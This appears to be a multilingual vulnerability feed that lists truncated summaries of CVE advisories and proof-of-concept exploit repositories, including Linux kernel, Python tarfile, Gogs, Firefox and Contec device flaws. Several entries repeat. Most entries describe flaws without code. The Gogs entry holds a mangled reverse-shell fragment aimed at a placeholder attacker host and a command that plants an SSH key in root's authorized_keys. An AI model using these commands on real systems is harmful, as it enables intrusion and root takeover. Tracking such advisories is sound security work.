kernel: dm-verity: fix buffer overflow in FEC calculation

A flaw was found in the dm-verity component of the Linux kernel. A buffer overflow occurs during Forward Error Correction FEC calculation, allowing an attacker to write past the end of an allocated buffer. This out-of-bounds write can corrupt the syndrome buffer, potentially leading to system...

CVE-2025-4517-PoC

CVE-2025-4517-PoC CVE-2025-4517 是 Python tarfile 模块中的一个漏洞，允许在解压不受信任的 tar 归档文件时，在提取目录之外写入任意文件。该问题出现在使用 TarFile.extract 或 TarFile.extractall 并指定 filter="data" 或 filter="tar" 时，后者无法完全阻止通过精心构造的 tar 成员进行的路径遍历攻击。 Python 3.14 将默认提取过滤器更改为 "data"，因此依赖此默认值的应用程序也可能受到影响。虽然源代码分发的安装不受显著影响，但任何使用这些过滤器解压不受信任 tar...

libkcapi: Memory corruption via uncanceled AIO requests on error in libkcapi's one-shot AIO path

Memory Corruption via Uncanceled AIO Requests on Error: libkcapi's one-shot AIO path can return an error before all submitted IOCBs are drained, allowing later kernel writes into caller-owned output buffers...

libkcapi: Memory corruption via uncanceled AIO requests on error in libkcapi's one-shot AIO path

Memory Corruption via Uncanceled AIO Requests on Error: libkcapi's one-shot AIO path can return an error before all submitted IOCBs are drained, allowing later kernel writes into caller-owned output buffers...

watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260

CVE-2025-71257 y CVE-2025-71260 Cadena de Ejecución Remota de Código Pre-Autenticada en BMC FootPrints Herramienta Generadora de Artefactos de Detección de la Cadena de Ejecución Remota de Código Pre-Autenticada en BMC FootPrints Descripción Este Generador de Artefactos de Detección verifica si l...

varlib-cve-2025-66034

Exploit de fontTools varLib CVE-2025-66034 Este repositorio no introduce una nueva vulnerabilidad. Este es un exploit de prueba de concepto para CVE-2025-66034 que afecta al pipeline de generación de fuentes variables varLib de fontTools. La vulnerabilidad permite a los atacantes controlar el...

CVE-2026-2796-and-CVE-2026-2768-escape-the-wasm-box

CVE-2026-2796 + CVE-2026-2768 — Escapa de la caja de Wasm Investigación sobre explotación de Firefox de cadena completa: una confusión de tipos en WebAssembly para ejecución de código en el renderer , encadenada hacia un bug del proceso padre para un escape del sandbox. Ambos bugs se corrigieron ...

CVE-2017-1000117

Repositorio PoC para CVE-2017-1000117 de VulApps Bifurcado desde joernchen/CVE-2017-1000117 git clone --recursive https://github.com/Jerry-zhuang/CVE-2017-1000117.git escribirá la salida de id en un archivo vul en /var/www/html. Ver más en VulApps...

cve-2021-4034-mock

CVE-2021-4034 PwnKit 模拟漏洞系统 该项目是一个模拟系统，用于重现 Linux pkexec 守护进程中发现的 CVE-2021-4034（越界读/写） 漏洞的核心运行原理。在没有实际 SUID 权限提升的情况下，在受控环境中安全地模拟了环境变量内存区域越界及恶意载荷注入机制。 特别是，该模拟系统能够检测最新 Linux 内核的 execve 防御机制（传递空数组时强制插入空字符串从而形成 argc=1 的现象），并通过修正偏移量，成功模拟了过去存在漏洞的内存环境。 📂 文件结构 root@kitploit: cve-2021-4034-mock/ ├──...

CVE-2025-8110

CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' 使用后清理漏洞利用仓库 python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \ --target-file /root/.ssh/authorizedkeys --content-file /.ssh/idrsa.pub --cleanup 工作原理 1. 认证 — 登录（或自助注册）并创建一个 API 令牌。 2. 创建仓库 — 通过 Web 界面初始化一个包含 READ...

CVE-2026-43284-DirtyFrag-PoC

CVE-2026-43284 — 4字节XFRM/ESP 概念验证 通过XFRM/ESP页缓存损坏实现本地权限提升 4字节写入原语 · 48次迭代 · 192字节ELF覆写 · 非特权用户 + netns 概念验证 左图： 内核预检、setuid 扫描及利用链 · 右图： 生成的 root shell —— id / whoami 确认 uid=0root 测试于 WSL2 · Ubuntu 24.04.1 LTS · 内核 6.6.87.2-microsoft-standard-WSL2 root@kitploit:...

CVE-2026-82782

Out-of-bounds write vulnerability exists in CONPROSYS nano Series. Receiving a specially crafted request created and sent by a remote attacker may cause a denial-of-service DoS condition...

CVE-2026-82768

Path traversal vulnerability exists in SGA1000. If this vulnerability is exploited, arbitrary files on the server may be viewed and/or altered by an attacker who can access the product via FTP...

CVE-2026-21045_and_CVE-2026-21048

CVE-2026-21045 y CVE-2026-21048 — PoC de escritura OOB en libimagecodec.quram.so de Samsung Resumen Este repositorio contiene archivos conceptuales de Prueba de Concepto PoC que demuestran vulnerabilidades de escritura fuera de límites OOB en la biblioteca de códec de imagen Quramsoft...

EUVD-2026-77248

Path traversal vulnerability exists in Contec FX5000 series, FX4000 series, and FX3000 series. If this vulnerability is exploited, arbitrary files on the server may be viewed and/or altered by an attacker who can access the product via FTP...

CVE-2026-82765

CVE-2026-82765 is a path traversal vulnerability in Contec FX5000, FX4000, and FX3000 series devices. An attacker with FTP access to the affected product can view and/or alter arbitrary files on the server, resulting in high confidentiality and integrity impact with no availability impact. The CN...

CVE-2026-82782

Out-of-bounds write vulnerability exists in CONPROSYS nano Series. Receiving a specially crafted request created and sent by a remote attacker may cause a denial-of-service DoS condition...

CVE-2026-82782

An out-of-bounds write vulnerability in CONPROSYS nano Series (Contec) allows a remote attacker with low privileges to send a specially crafted request that triggers a denial-of-service condition. The CVSS 3.1 score is 4.3 (MEDIUM) and CVSS 4.0 is 5.3 (MEDIUM) , reflecting a network-based attack ...

EUVD-2026-77235

Out-of-bounds write vulnerability exists in CONPROSYS nano Series. Receiving a specially crafted request created and sent by a remote attacker may cause a denial-of-service DoS condition...

CVE-2026-82768

A path traversal vulnerability in SGA1000 (manufactured by Contec ) allows an attacker with FTP access to view and/or alter arbitrary files on the server, potentially leading to high confidentiality and integrity compromise with no availability impact . The vulnerability is scored CVSS 3.1: 8.1 (...